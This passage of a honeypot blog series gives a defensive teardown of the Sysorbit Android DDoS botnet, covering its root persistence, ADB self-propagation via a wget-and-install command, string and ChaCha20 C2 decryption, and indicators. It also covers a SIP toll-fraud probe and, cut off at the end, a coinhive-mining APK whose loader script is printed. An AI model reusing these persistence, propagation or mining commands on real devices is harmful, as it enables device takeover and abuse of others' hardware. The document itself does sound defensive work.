5555 APKsysorbit.apk · 31de5c5d0a34…f103901 Packagecom.sysorbit.service.security Components.BotService · .MainActivity · .RestartReceiver Rivals it uninstallscom.manji.bot · com.kbot.loadd · io.toy.zae · … To be continued — the APK is packed and its C2 hidden in native code. In Chapter 8 I open it up layer by layer with jadx and Ghidra. It took me two attempts and a day in between, but it ended up telling me where it calls home. 🍯","date":"2026-08","fam":"Sysorbit","n":7,"spec":"Sysorbit (Android)","sum":"The previous three went after servers. This one went after a phone: it came in through ADB, wiped out the competition, installed its app disguised as Google, and hid itself. First Android malware in the honeypot.","t":"The one that came in through the debug cable","tags":["Android","ADB","honeypot","DDoS"],"tipo":"Android botnet (DDoS)","url":"/en/chapter-7/"},{"body":"In Chapter 7 I caught Sysorbit coming in over ADB. Now it's time to crack open the APK and find its C2. What we're after is what it can do and where it calls home, so it can be spotted and cut off. An APK is a ZIP with three layers: resources, Java code (classes.dex) and native libraries (.so). Let's work from the outside in. A confession, before we startI published this chapter once and it ended badly: it walked up to a locked door, admitted I didn't know how to open it, and said goodbye. Twenty-four hours later I came back with different tools and the door gave way. I've rewritten the whole entry, but I haven't deleted the defeat: it's still here, along with the two wrong turns I took and the two things I'd got wrong. The part where I'm right is the less interesting of the two. 01An APK with almost no Java First surprise when I listed the ZIP: the classes.dex (the Java code) weighs in at 13 KB — laughable. And instead there are four native libraries libmedia_format.so, one per architecture, around 150 KB each. The real logic isn't in Java: it's in the native code. The Java is just a shell. The library's name is a lie to begin with: libmedia_format sounds like a video codec. There isn't a single byte of multimedia inside it. 02The Java: a launcher with bad ideas I decompiled the DEX with jadx. The app disguises itself and acts as the launcher and babysitter for the native binary. Every minute, a thread runs this logic: Checks whether the bot is already alive: it sends PING to an abstract local socket sysorbit_watchdog and waits for PONG. Kills off old or rival instances by their disguised names: [system_server], sys_health_check, sys_core, sys_update_helper. Checks for root (su -c id → uid=0). And here's the ugly part: if the phone is rooted, it nails itself into the system disguised as a maintenance binary. com.sysorbit.a.b · root persistencemount -o remount,rw /system cp libmedia_format.so /system/bin/sys_health_check # poses as a system binary chmod 755 /system/bin/sys_health_check chown root:root /system/bin/sys_health_check cp libmedia_format.so /data/local/tmp/sys_update_helper /system/bin/sys_health_check \u0026amp; # and launches it Without root, it settles for running the .so from the app's own directory. With root, it becomes part of the operating system. All while the interface shows a fake \"Google Play Service Updates — Checking for updates…\" notification. Persistence in triplicateIt doesn't trust a single trick: a boot receiver (BOOT_COMPLETED), a watchdog, and —the subtlest— a SyncAdapter with a fake account (AuthenticatorService + SyncService), which makes Android wake it up periodically \"to sync\". It also declares an Accessibility service, Android's master key (read the screen, auto-click, grant itself permissions). 03The native engine: a DDoS gunboat The .so came packed with UPX (like RedTail). Unpacked (155 KB → 515 KB) and opened in Ghidra, it sings: strings from the native (unpacked)# flood engine Flood ID '%d' starting in thread (duration %d seconds) GET %s HTTP/1.1 PRI * HTTP/2.0 Host: %s # watchdog + registration sysorbit_watchdog sysorbit_native_lock It's a denial-of-service bot: it launches floods by ID, in threads, with a duration — including HTTP/1.1 and HTTP/2 (that PRI * HTTP/2.0) and a TCP connection flood that opens 128 sockets at once against the target. I also found a string here that caught my eye and that I read wrong — I'll come back to it: the string that misled metoken=df96af03-c2fc-4c29-919a-2605aa70b1f8\u0026amp;guid=76561198804806015 That guid has the shape of a SteamID64, the identifier of a Steam account. A very odd trace to find in an Android bot. 04Hunting the C2 — and the wall With Ghidra I followed the thread of the C2 client. Here's what I found: The client connects to an IP and a port it pulls from a configuration structure, and speaks HTTP. It has its own resolver with embedded fallback DNS servers (8.8.8.8, 1.1.1.1) so it can resolve even if the device's DNS fails. But the C2 host is nowhere in plain text — not in the APK, not in the DEX, not in the native code. By the time the client uses it, it's already a binary IP decrypted in memory. And this is as far as I gotSysorbit encrypts its C2 host and decrypts it at startup. The structure of the code is clear — how it connects, registers and attacks — but the where it keeps encrypted. Same as RedTail (Ch. 6): the address is encrypted and doesn't come out statically. That's where I closed the chapter the first time. I wrote that getting that address would take one of two things: reversing its decryption routine, or running the thing on an isolated Android and watching where it calls. I don't do the second — it's a live bot, and switching it on is doing the attacker's work for him — so I filed the matter as closed and went to bed. And I filed it wrong. Because the first option, reversing the routine, was never beyond my reach: I simply hadn't managed to find it. A locked door and a door you don't have the key to are two different things. I confused them. The next day it was still nagging at me. So I went back. 05Retracing my steps I went back with a change of method, and I think it's the most useful thing in the whole chapter: go in through the data, not through the code. The first time I did the natural thing: I picked a function that looked like the C2's and followed its calls outwards, to see what turned up. The problem is that this library has libc++ statically linked, so \"outwards\" means hundreds of housekeeping functions belonging to the language itself. My dumps always ended in malloc and thread::join. I was hunting a needle by exploring the entire haystack. The other way round works better: if the host gets decrypted in memory, the encrypted bytes have to be in the file, and somebody has to read them. So instead of asking \"what does this function call?\", you ask \"who touches these bytes?\". Instead of exploring, you anchor. It's exactly what I did in Chapter 2 without realising it was a method: there the key turned up because I spotted a repeated string and asked who referenced it. AFirst dead end: chasing ghosts I started with what seemed obvious. Encrypted data has a signature: its bytes look random, without the structure normal text has. It's called high entropy, and you can sweep a whole file looking for it. I did, and seven suspicious regions came back. Seven candidates to be hiding the address. I opened them one by one, and one by one they fell. The two biggest turned out to be embarrassingly innocent: the first was a list of prime numbers —127, 131, 137, 139…— that the C++ language itself uses internally to organise its tables. The second was the SHA-256 constants, a magic number that shows up in any program doing cryptography. Neither belonged to the malware. They were the furniture of the house, not what the burglar had hidden. Half a morning chasing ghosts. BSecond dead end: the comfortable trap I changed tack. If the bot calls home, somewhere it has to open a connection — so I went looking for the functions that open connections and walked backwards from there. And I found one that resolved a domain name and connected. It fitted so well that I didn't question it: \"here it is, this is the C2 client\". It wasn't. When I finally read it through, properly, it turned out to be the attack engine: the HTTP flood. That domain name it was so diligently resolving wasn't its home. It was the victim it was about to attack. I'd spent half a day studying the weapon instead of the telephone. And once I saw it whole, I realised that the first version of this chapter had got two things wrong: I pointed at a function and called it the C2 thread spawner. It isn't: it's the HTTP flood engine, with six Mozilla User-Agents it rotates through — nine in total across the binary, spread over three functions, one of them an iPhone — Cookie and Referer support, and a 200 KB stack buffer for hammering out requests. I presented the token=…\u0026amp;guid=… as the bot's registration with its C2. Also wrong: it's the body of a POST used by one of the attack methods. The SteamID doesn't identify the bot — it travels inside a flood request. And if you're wondering what a Steam identifier is doing inside an Android bot, the answer is that it's attacking a game server, and to make its request pass for real it copies the body of a legitimate one —SteamID included—. It's camouflage: a thousand requests identical to what an actual player would send. That number, moreover, resolves to a public account that exists: alias SponneR, comments in Turkish and Russian, a group devoted to cheating in CS:GO. And here I stop, because it needs saying plainly: this is a lead, not an accusation. Copying someone else's SteamID costs nothing, and the likeliest explanation is that it belongs to somebody who got attacked and whose request ended up baked into the template. But it does fit the other thing we saw —the certificate posing as a Spanish company that spells \"Cataluna\" without the ñ—: whoever built this doesn't speak Spanish. Why I'm telling you instead of deleting itI could have quietly fixed those two sentences and nobody would have noticed. But the mistake explains why I hit the wall: if you believe you've already located the C2 client, you stop looking for it. Picking the wrong function cost me the entire chapter. CStarting where everything starts Two paths, two failures. When that happens, the lesson is usually that you were being too clever. So I did the dumbest thing you can do with a program: start at the beginning and read it in order, like a book. Because this .so isn't just a library others call: it also starts up on its own —Chapter 7 watched it install itself as /system/bin/sys_health_check— and that means it has an entry point, a first line. I'd never looked at it. And the first four things it does already pay for the trip: main · the very first things// 1) it renames its own process prctl(PR_SET_NAME, \"[system_server]\"); // 2) overwrites its own argv[0] with the same fake name memset(argv[0], 0, len); strncpy(argv[0], \"[system_server]\", ...); // 3) armours itself against the out-of-memory killer write(open(\"/proc/self/oom_score_adj\"), \"-1000\"); // 4) ignores ten signals: SIGTERM, SIGINT, SIGHUP, SIGPIPE, SIGALRM... The [system_server] business is nastier than it looks. On Linux, when you list processes, the ones shown in square brackets are internal kernel threads — things you don't touch. The critter puts brackets in its own name so that anyone scanning the list slides right past it. Typographic camouflage. And the -1000 is even more brazen. When Android runs out of memory, it starts killing applications in order of expendability. That number is the score deciding who gets sacrificed first, and -1000 is the lowest possible: it means \"kill whoever you like, but me last\". The bot declares itself more important than anything you have open on your phone. Then it takes a name it builds letter by letter —sysorbit_native_lock— and reserves it. If it was already taken, it leaves without a word: that's how it checks there isn't another copy of itself already running. And then it launches two threads and settles down to wait. The first turned out to be the watchman: it sits and listens, and when four bytes arrive saying PING, it answers PONG. That's what tells the Java side it's still alive. Nothing new. The second thread I wasn't expecting at all. 06Layer 1: strings assembled letter by letter The second thread doesn't attack anyone. What it does is run shell commands — real ones, system commands — one after another, in a loop, forever. But the commands weren't written anywhere I could read. Before running each one, it manufactured it. And there, at last, was the thread to pull. Because if the thing builds its commands instead of carrying them written down, that factory has to be in the binary. And if it has a factory for hidden strings for this, it's the same one it'll use to hide its home address. The factory turned out to be a short, ugly function. It doesn't encrypt the whole string in one go, as anyone would: it encrypts it letter by letter, and each letter with its own key and its own recipe. ghidra · the decryptor, decompileduint decrypt(uint c, uint key, char variant) { // rotate the byte 2 bits left... rot = c \u0026gt;\u0026gt; 6 \u0026amp; 3 | c \u0026lt;\u0026lt; 2; r = rot ^ key ^ 5; // variant 0 if (variant == 1) r = (rot - key) - 5; // variant 1 // ...or 2 bits right r2 = (c \u0026gt;\u0026gt; 2 \u0026amp; 0x3f | c \u0026lt;\u0026lt; 6) ^ key ^ 5; // variant 2 return (variant == 2) ? r2 : r; } The routine, in Ghidra. On the left, the ARM64 assembly exactly as it sits in the binary; on the right, that same code translated into C by the decompiler — which is what makes something like ubfx w8,w0,#0x6,#0x2 readable at all. Up top, the XREF[20]: twenty different places in the program call this function. That's the moment I knew it wasn't some loose detail but the string factory for the whole thing. Three different recipes, and each character uses one. But the good part is where the key and the recipe come from: two pseudo-random number generators running in parallel, seeded with constants unique to each string. the generator (Lehmer)x = (x * 0x10A860C1) % 0xFFFFFFFB # one generator for each job: key = (prng_key ^ seed) \u0026amp; 0xFF variant = (prng_recipe) % 3 Why this defeats stringsA fixed-key XOR leaves patterns: repeated bytes, lengths that give the game away. Here every character is encrypted differently from the one before, so the encrypted string has no visible structure at all. The price the author pays is that the seeds are in the code, in plain sight. It's encryption that fools anyone glancing over and folds the moment somebody reads the routine. I reimplemented the algorithm in a handful of lines and pointed it at the first encrypted string I had to hand. Five bytes, which until that moment were 4a b3 e0 1a 68 and meant nothing. the moment4a b3 e0 1a 68 -\u003e c l o s e close. An utterly ordinary five-letter word nobody cares about. But it was a real word, in English, with meaning — and that doesn't happen by chance. Five correct letters were enough to know I had the whole algorithm. I turned it loose on the whole binary and 44 strings fell out that had been sitting there all along, invisible. Among them, one that made me sit up straight: recovered strings (a selection)# the one that matters ORBIT_BOT_AUTHVXJUACFHAVBA # authentication token for the C2 # names of system functions (see box) socket connect send recv bind listen accept select close signal # the war on the competition, on a loop pm uninstall %s \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 com.manji.bot com.iranbot.load com.oreo.mcflurry com.android.log_handler_v2 com.google.android.pms.update find /data/local/tmp -name '*.so' -delete grep -l 'libyahu.so' /proc/*/maps | cut -d'/' -f3 | xargs kill -9 # ADB propagation, inside the binary itself busybox wget hxxp://…/sysorbit.apk -O /data/local/tmp/x.apk pm install -r -g /data/local/tmp/x.apk su -c ' adb_v2 It hides who it asks for favours, tooLook at those socket, connect, bind… they're names of system functions. Normally a program declares them openly and anyone can see what it uses. Not Sysorbit: it decrypts the name, computes a hash of it and looks the function up by that hash. Result: open the binary and you can't see that it uses the network at all. And for good measure it wraps the calls in a state machine with joke constants —0xbadc0de, 0xc0ffee, 0xf00d— to tangle up the reading. It's the reason my first attempt to classify its attacks found nothing. 07Layers 2 and 3: a key that doesn't exist With ORBIT_BOT_AUTH in hand I had something to pull on: I looked for who used it, and that function was the C2 client. Inside it was the port, hidden in plain sight: the port, disguised as a stray numberDAT_00185350 = 0x35280002; # in memory those are the bytes: 02 00 28 35 # 02 00 -\u003e AF_INET (this is a network address) # 28 35 -\u003e port 0x2835 = 10293 What was missing was the destination. And the destination came from a list somebody built when the program started. I went to see who, expecting to finally find the domains written down in some corner. They weren't there. What was there was the last layer, and the best of the three. The domains are encrypted with ChaCha20 — this is serious, modern cryptography, the kind your browser uses; nothing like the homemade XORs of XorDDoS or Mirai in earlier chapters. But the genuinely elegant part isn't the algorithm. It's where it keeps the key to open it. It doesn't keep it anywhere. the key is manufactured at startup# two blocks of bytes that separately look like junk key[ 0: 8] = data[0x111c84] XOR data[0x10e710] key[ 8:16] = data[0x111c8c] XOR data[0x10e718] key[16:24] = data[0x111c94] XOR data[0x10e640] key[24:32] = data[0x111c9c] XOR data[0x10e648] The key split in twoNow it's clear why my first search failed. I swept the file looking for something that looked like a key, found nothing, and believed it. But the key doesn't exist until the program starts: it's two dull chunks of data, in two different corners of the file, that separately are nothing and only mean something when they're joined. Like those film keys you have to put together to open the safe: neither half opens anything, and neither half looks like a key. The lesson, and I'm noting it down: \"I can't find anything that looks encrypted\" is not the same as \"there's nothing encrypted\". It only means you're looking for the wrong shape. And it isn't the only thing assembled on the fly. The nonce — the number ChaCha20 needs so that the same key never produces the same stream twice — isn't in the file either: the code writes it into memory at start-up. Which is why that didn't show up in a search either. It's the same trick as the split key, played a second time. what was missing to reproduce it# the nonce, written into memory at start-up (12 bytes) 1e 00 4a 00 00 00 00 00 00 00 00 00 counter = 1 # and where the four encrypted blocks are 0x10f0fa 28 B 0x10fc6a 28 B 0x10f95d 21 B 0x10eaf7 16 B With that and the key above, anyone can reproduce the whole decryption. I'm publishing it deliberately: pulling the command servers out of a sample is defense, it hands nobody a capability against third parties — and in Chapter 6 I complained precisely that nothing like it existed for RedTail. One more thing about the crypto stack before closing the section: alongside ChaCha20 and SHA-256, the binary implements HMAC — the 0x36 and 0x5c constants and the 64-byte block are all there, straight out of the textbook. It doesn't just encrypt: it authenticates. Probably to validate whatever comes down from the C2. And now the fun part, because with the four addresses in front of you something shows up that didn't before. All four calls use the same key, the same nonce and the same counter. A single block of key stream encrypts all four domains. That has had a name for decades and it's one of the unforgivable ones: key stream reuse. The nice thing is you can demonstrate it without breaking anything. Take the two 28-byte blocks exactly as they come out of the binary, XOR them against each other, and the key cancels itself out: XOR of the two 28-byte ciphertexts1a 02 06 08 00 06 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 └─ the last twenty bytes are identical Without knowing the key, without decrypting a single letter, that tail of zeros already tells you that the two domains end the same way over their last twenty characters — which is exactly .twilightparadox.com. (The twenty-first zero is a coincidence: both names end their first label on the same letter.) They picked the right algorithm and used it wrongChaCha20 is blameless here: it's as good as I said it was. But a stream cipher rests on one rule — the same stream never encrypts two things — and here they broke it four times over. All that work on a key split into halves, and a nonce built in memory, only for the file itself to shout out what its domains have in common. 08The C2 laid bare I joined the two halves, assembled the key, and applied the decryption to the four blocks of data the program was going to use as destinations. This is the moment you find out whether you've got it right or wasted the day: if the algorithm isn't exact, what comes out is unreadable rubbish. If it is, out comes text. Out came text. All four, clean, first try: the four destinations, decryptedorbitcnc.twilightparadox.com # orbit + cnc (command and control) updatemc.twilightparadox.com udpatetbl.duckdns.org # yes, \"udpate\": the author's typo coxm.duckdns.org port 10293/TCP All four sit on free dynamic DNS services (FreeDNS and Duck DNS): subdomains you register in two minutes, without paying and without giving your details. It's the throwaway housing of mid-range malware. And then I resolved them — DNS lookup only, without touching the machine: DomainStatus orbitcnc.twilightparadox.comLIVE → 176.65.139.248 updatemc.twilightparadox.comLIVE → 176.65.139.248 udpatetbl.duckdns.orgdoesn't resolve (dormant reserve) coxm.duckdns.orgdoesn't resolve (dormant reserve) And when I saw that IP I sat looking at it for a while, because it rang a bell. The punchline176.65.139.248 is exactly the machine the APK was downloaded from in Chapter 7. I'd had it written down in the indicators table since day one. The server that hands out the malware and the command center that gives it orders are the same machine. Three layers of encryption, a military-grade algorithm, a key split into two halves hidden in different corners of the file… to conceal an address that was already written in my notes. I don't know whether the author didn't notice, or didn't care. But there's something honest about discovering that the great secret that cost you two days was a fact sitting in front of you that you failed to connect. The two dormant domains are the reserve. It's the same pattern we saw in Chapter 2 with XorDDoS: if somebody takes down the one in use, another lights up and the bots never notice. They cost nothing and take two minutes to register, so there's no reason not to keep spares. 09What turned up as a bonus Once the strings were decrypted, a few things I wasn't looking for fell out on their own. ANot just a bot: a worm The infection command from Chapter 7 —the one that comes in over ADB, uninstalls rivals and installs itself— lives inside the native binary. Which means: every infected phone reproduces that same command against others, on its own, without anyone telling it to. The C2 doesn't need to order it; the bot spreads by itself. And the vector is tagged adb_v2. Curious detail: the rival list the binary uninstalls isn't identical to the one in the command that arrived over ADB. The internal one includes two packages the entry command never mentions. Somebody updated it in one place and forgot the other. BThe C2 can only order attacks I went through the 35 methods the bot registers and the C2 can invoke, looking for any that did something other than networking: run commands, write to disk, spread. Not one. They're all attacks. That pins down what Sysorbit is: it isn't a backdoor. The operator can't ask the phone to open a shell or steal data — only to attack somebody. But the device will keep infecting others even if the C2 disappears, because that part doesn't depend on it. Test the tool before you trust the resultAn \"I found nothing\" is only worth something if you first prove your method finds things. So I ran the same sweep against the persistence thread and against main, which I know do run commands. It fired on both and flagged exactly what it should have. Then — and only then — did I believe the negative. September correction: it's 35, not 34I counted 34 because I counted assignments, and id 0 is never written: the memory allocation already leaves that byte at zero, so there is no instruction to set it. It's the same failure mode I hit in Chapter 4 — you lose the entry that doesn't look like the others. Only the number changes. The 35 identifiers are spread across 26 functions — one of them serves eight — and id 0 shares its function with id 1, which the sweep did cover. The count fell short; the coverage didn't. CA Spanish company that doesn't exist Every APK is signed with a certificate. Sysorbit's says this: APK signing certificateCN = Carlos Mendoza Xxxxxx O = Xxxxxxxxxxxxxx Digitales S.L. OU = Desarrollo Mobile · L = Barcelona · ST = Cataluna · C = ES Issued : 29 July 2026 Valid until : 2053 SHA-256 : 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9: 6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9 A software company from Barcelona, department and all. Invented. And the façade slips on two small details: it writes Cataluna without the ñ (it's Cataluña), and it calls the department \"Desarrollo Mobile\", mixing Spanish and English. A Spanish speaker doesn't write that; somebody copying the look of a Spanish company without being one does. It fits the rest of the traces on this thing, which point somewhere else entirely. Why I've blurred the nameThe certificate is fake, but it reuses the name of companies that genuinely exist — there are several trading under that brand, one of them doing IT services in Barcelona, the same city as the certificate. Publishing it in full would tie an innocent business to this the moment Google indexed it, and a disclaimer doesn't undo that. What actually works as an indicator is the fingerprint, which identifies the signer without being able to defame anyone: if the same actor signs another campaign, the fingerprint links them. The name added nothing the fingerprint doesn't add better. The date is a clean and useful fact, though: the certificate was issued on 29 July, and the critter landed in the honeypot on 23 August. Twenty-five days. A freshly baked campaign. DOne single kitchen The APK carries four libraries, one per architecture. I unpacked all four and compared: the encrypted domains and the key material are byte-for-byte identical in every one. They come from a single build, just like Mirai's twelve binaries in Chapter 4. 10Indicators (IOCs) TypeValue C2 (live)orbitcnc.twilightparadox.com · updatemc.twilightparadox.com → 176.65.139.248 C2 (reserve)udpatetbl.duckdns.org · coxm.duckdns.org C2 port10293/TCP Authentication tokenORBIT_BOT_AUTHVXJUACFHAVBA String encryptionper character · rot2 + XOR/subtract · keys from a Lehmer PRNG (0x10A860C1 mod 0xFFFFFFFB) C2 encryptionChaCha20 · counter 1 · key = XOR of two .rodata blocks · nonce 1e004a00 + zeros (written into memory at start-up) Encrypted blocks0x10f0fa (28 B) · 0x10fc6a (28 B) · 0x10f95d (21 B) · 0x10eaf7 (16 B) — with the key and the nonce, the decryption is reproducible Certificate fingerprintSHA-256 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9 logcat tagSystemCore — the bot logs its own activity there Process name[system_server] · oom_score_adj = -1000 Abstract socketssysorbit_watchdog · sysorbit_native_lock Propagation vectoradb_v2 (ADB/5555, self-propagating) SHA-256 APK31de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901 The gift for whoever has to go lookingOf everything above, the most useful in practice is the logcat tag. Sysorbit writes its own messages into Android's log under the name SystemCore, which sounds like a system component. On a suspect device, a logcat -s SystemCore gives it away in its own words: \"Received attack payload of %d bytes\". It disguises itself from the eye, but leaves its diary open. Status as of 11 September 2026All four domains — the two fallbacks included — no longer resolve, and 176.65.139.248 has vanished from Shodan. Measured lifetime of the campaign: about three weeks. For a sense of scale: the Mirai from Chapter 4 lasted much the same, and the RedTail from chapters 5 and 6 was still alive after a good five weeks. And a note on the name, which is what costs most when somebody goes looking for information: the industry doesn't give this family. VirusTotal flags it 21 out of 61, but under the generic label trojan.boogr; not one engine says \"sysorbit\", and MalwareBazaar doesn't have it. The name comes out of the binary itself — sysorbit_watchdog, ORBIT_BOT_AUTH, com.sysorbit.*. It's the opposite of Chapter 1, where twenty-two engines would have settled it up front: here nobody puts the label on — the critter does. To be continued — the honeypot is still on, now on 5555 too. When something new drops in, there'll be a ninth chapter. 🍯","date":"2026-08","fam":"Sysorbit","n":8,"spec":"Sysorbit (Android)","sum":"We peel the APK apart layer by layer: a DEX that's nothing but a launcher, an app that nails itself into /system if there's root, and a native DDoS engine. The C2 slammed the door in my face — until I came back another way and it opened.","t":"Sysorbit laid bare: three layers to hide one address","tags":["Android","jadx","Ghidra","UPX","ChaCha20","reverse engineering"],"tipo":"Android botnet (DDoS)","url":"/en/chapter-8/"},{"body":"The previous eight chapters were all the same shape: someone gets in, drops a binary, and I take it apart. But the honeypot has forty services listening, and not all of them are about malware. This one is about money. No file landed — a phone fraud did, live, and it's a different kind of story that's just as worth telling. The honeypot that caught it is SentryPeer, a VoIP decoy: it pretends to be a SIP phone switch on port 5060 and logs everyone who tries to use it to place calls. And for a little over two hours, plenty of people tried. 01What am I looking at Before the teardown, the concept — because without it the logs mean nothing. There's a fraud called IRSF (International Revenue Share Fraud), and it works like this: A fraudster rents a range of international premium-rate phone numbers — the kind that, when called, generate revenue shared between the carrier and whoever rented them. Then they look for a misconfigured PBX belonging to someone else (a company phone system, a VoIP router) that will place calls without asking for credentials. They make it call their numbers, thousands of times. Every completed call is money into their pocket… and onto the bill of whoever owns the PBX. It's stealing using someone else's phone. My honeypot pretends to be exactly that misconfigured PBX — so I get to see, risking nothing, exactly who they'd call and with what tools. 02The catch A window of 2 h 11 min, fifteen distinct machines, 210 numbers dialed and 3,457 call attempts (SIP INVITE messages). It wasn't a person: it's automated, industrial traffic. Here's one attempt exactly as it hits the decoy: INVITE received on 5060 (number and IP masked)INVITE sip:00.421232229XXX@XX.XX.XX.XX SIP/2.0 Via: SIP/2.0/UDP 172.26.196.11:55161;branch=z9hG4bK99242351 From: \u0026lt;sip:1001@XX.XX.XX.XX\u0026gt;;tag=508880652 To: \u0026lt;sip:00.421232229XXX@XX.XX.XX.XX\u0026gt; User-Agent: Linksys-SPA942 ... m=audio 25282 RTP/AVP 0 101 # wants to open a voice channel Read it as a command: \"from extension 1001, call this number in Slovakia\". The From: 1001 is a bluff — they're betting the PBX has a generic 1001 extension and lets it dial out. And the User-Agent says Linksys-SPA942, a perfectly ordinary desk phone: they disguise themselves as legitimate hardware. 03Three acts, three trades Splitting the fifteen attackers by behavior, they're not all doing the same thing. There are three distinct roles — shared by six machines; the other nine stayed background noise, with no role to pin on them: AThe one testing the lock (recon) One IP shows up with the User-Agent friendly-scanner — the unmistakable signature of SIPVicious, the Swiss Army knife of SIP scanning. It calls no one: it just checks whether the PBX answers and what it allows. It's the equivalent of jiggling the door handle. BThe one guessing extensions (brute force) Two other IPs don't try to call: they send REGISTER requests trying extension numbers one after another — 3, 33, 404, 100, 101, 44444… They're hunting for an extension that exists and will let them register, so they can speak from inside. It's the same old credential brute force, but in telephony. CThe ones already dialing (the fraud itself) And the heavyweights: three machines that carry almost all of the volume, each hammering with its own tool. These don't probe — they call: IPTool (User-Agent)Attempts 172.110.223.49pplsip1,339 94.26.31.62VOIP1,239 23.111.166.26Cisco-SIPGateway736 That pplsip isn't a phone: it's the default User-Agent of sippts, a SIP auditing suite in the style of SIPVicious, listed in the blocklists of SIP servers like Kamailio. The Cisco-SIPGateway is disguise — they pose as a Cisco gateway to slip past inattentive logs. 04The tell: probing the dial plan And this is what says the most about the incident. One and the same London number shows up dialed over and over, with every prefix form imaginable: the same number, every variant (masked)+442037699XXX 0000442037699XXX 00.442037699XXX 000442037699XXX 00+442037699XXX 01144442037699XXX 0442037699XXX 00442037699XXX It's not clumsiness: it's method. They don't know how my PBX's dial plan is set up — whether calling abroad needs a leading 00, 011, a 0 for an outside line, or nothing. So they try them all against the same known destination, hunting for the magic combination the PBX will agree to route. The moment one works, they'll repeat that one at scale. It's reconnaissance of the dialing syntax, disguised as noise. The destinations, by prefix, are the usual IRSF map: the United Kingdom (+44), Italy (+39), Slovakia (+421), Canada (+1 289)… destinations where numbering is easy to rent and a call raises no eyebrows. And a correction is due here, because I took it for granted myself at first: none of those numbers is premium-rate. +44 20 is London, +44 1904 is York and +1 289 is Ontario — all three ordinary geographic numbering. Which makes sense: at this stage they aren't billing yet, they're testing whether the PBX will route. For that you want a destination that sounds harmless and actually answers. The expensive numbering comes later, once they know the door opens. 05Where do they call from? — passive OSINT As always, passive intelligence only: I ask the regional registries (RDAP/whois) and third-party databases. At no point do I touch the attackers' machines — that would be crossing to the other side. Where does each one live? IPRoleHosting (OSINT) 172.110.223.49flood (pplsip)AS23470 ReliableSite.Net (US) · resold block 94.26.31.62flood (VOIP)AS29802 Hivelocity (US) 23.111.166.26flood (Cisco spoof)Hivelocity (US, Tampa) 158.51.78.101REGISTER brute2E Telekomünikasyon (Turkey) 185.114.48.195REGISTER bruteAS199792 ClearStack (NL) And there's the interesting thread: two of the three heavyweights —the ones that attempted the most calls— live at the same provider, Hivelocity. It doesn't prove they're the same actor, but it fits a known pattern: VoIP fraud is run from cheap, disposable hosting, and when one goes down another comes up on the same farm. The rest spread across providers in the US, the Netherlands and Turkey — the same resilience logic we already saw in the botnets' infrastructure (Chapter 4). What can't be known coldPassive OSINT tells me where the calling machines are hosted, not who's behind the premium numbering — that lives in opaque deals between carriers. As in the RedTail and Sysorbit chapters: the mechanism is fully visible; the identity of whoever gets paid isn't. And that's where I stop. 06Indicators (IOCs) Ready to block at any SIP edge or feed into a list. Of the fifteen machines I publish the five with a role and volume; the scanner is given away better by its User-Agent than by its IP. TypeValue IPs (INVITE flood)172.110.223.49 · 94.26.31.62 · 23.111.166.26 IPs (REGISTER brute)158.51.78.101 · 185.114.48.195 Malicious User-Agentspplsip · friendly-scanner · VOIP · Cisco-SIPGateway (spoof) Extension probedFrom: 1001 · REGISTER 3/33/404/100/101/44444 Test destinations observed+44 · +39 · +421 · +1 289 — for correlation, not for blocking Volume3,457 INVITE · 210 numbers · 15 IPs · 2 h 11 min 07What I take away Not every attack brings a binary. There's nothing here to open in Ghidra — the \"weapon\" is the SIP protocol itself, used exactly as designed, against a PBX that shouldn't allow it. The User-Agent still gives them away. pplsip, friendly-scanner… attack tools announce themselves. Filtering by UA won't stop a pro, but it sweeps away 90% of the noise. Fraud does reconnaissance too. Trying every prefix variant against a known number is as much \"recon\" as scanning ports — only here what's being mapped is the dial plan. An open PBX is an open credit card. All of this only works if the switch places calls without authenticating. Registering extensions with real passwords and closing off unused international dialing defeats the whole fraud. To be continued — the decoy stays lit, and not only on 22 and 5555: there are forty doors listening. When someone knocks on another one in an interesting way, there'll be a tenth chapter. 🍯","date":"2026-08","fam":"VoIP","n":9,"spec":"VoIP / SIP fraud","sum":"This time no binary landed. A fraud did: for two hours, fifteen machines tried to make my PBX place 3,457 international calls — the trial run of an International Revenue Share Fraud (IRSF), with the bill in my name. A chapter with no Ghidra: just protocol, money and OSINT.","t":"The one who wanted me to pay for their calls","tags":["SIP","toll fraud","IRSF","SentryPeer","honeypot"],"tipo":"Toll fraud (SIP)","url":"/en/chapter-9/"},{"body":"The honeypot has forty doors open, and 5555 —Android's debugging port— is one of the busiest. It already brought us Sysorbit in Chapters 7 and 8. This time it brought something else, and the first clue that it was different came from the scales. Sysorbit's APK weighed 707 KB, with four native libraries inside. This one weighs 46 KB. Fifteen times less. And when I opened it, the entire Java code came to five kilobytes and there wasn't a single byte of native code. I thought I'd drawn a poor devil. And in a way I had — but the story behind it is the best the honeypot has given me yet. 01The catch Fifteen seconds start to finish. Not one wasted word: 0spm path com.ufo.miner — asks whether it's already installed. If it were, it would leave without bothering. 8sInstalls /data/local/tmp/ufo.apk. That's the sample I captured. 9sDeletes the file. The footprint lasts one second. 10sLaunches the app: am start -n com.ufo.miner/com.example.test.MainActivity 13sps | grep trinity — looks for something called trinity. That name turned out to be the key to the whole story. 15srm -rf /data/local/tmp/* and goodbye. That com.example.test is not a minor slipWhen you create a new project in Android Studio, the IDE suggests a default package name for you to change. It's the equivalent of a document called \"Untitled document 1\". This gentleman didn't change it. His malware, which has been going round the internet for eight years, is called \"example, test\" on the inside. 02Five kilobytes and a web page There's almost nothing inside the APK: an icon, a couple of resource files, five kilobytes of code and —this did catch my eye— a loose file called run.html. A web page, inside an application. The Java code, in its entirety, does this: MainActivity · the whole programWebView webView = ... webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(\"file:///android_asset/run.html\"); That is: it opens an invisible browser and loads a page it carries inside. Nothing else. No connections, no commands, no files. And it asks for only two permissions: internet, and starting up when you switch the phone on. All the malice, then, has to be in that page. And it's eight lines: assets/run.html · in full\u0026lt;script src=\"https://coinhive.com/lib/coinhive.min.js\"\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; var miner = new 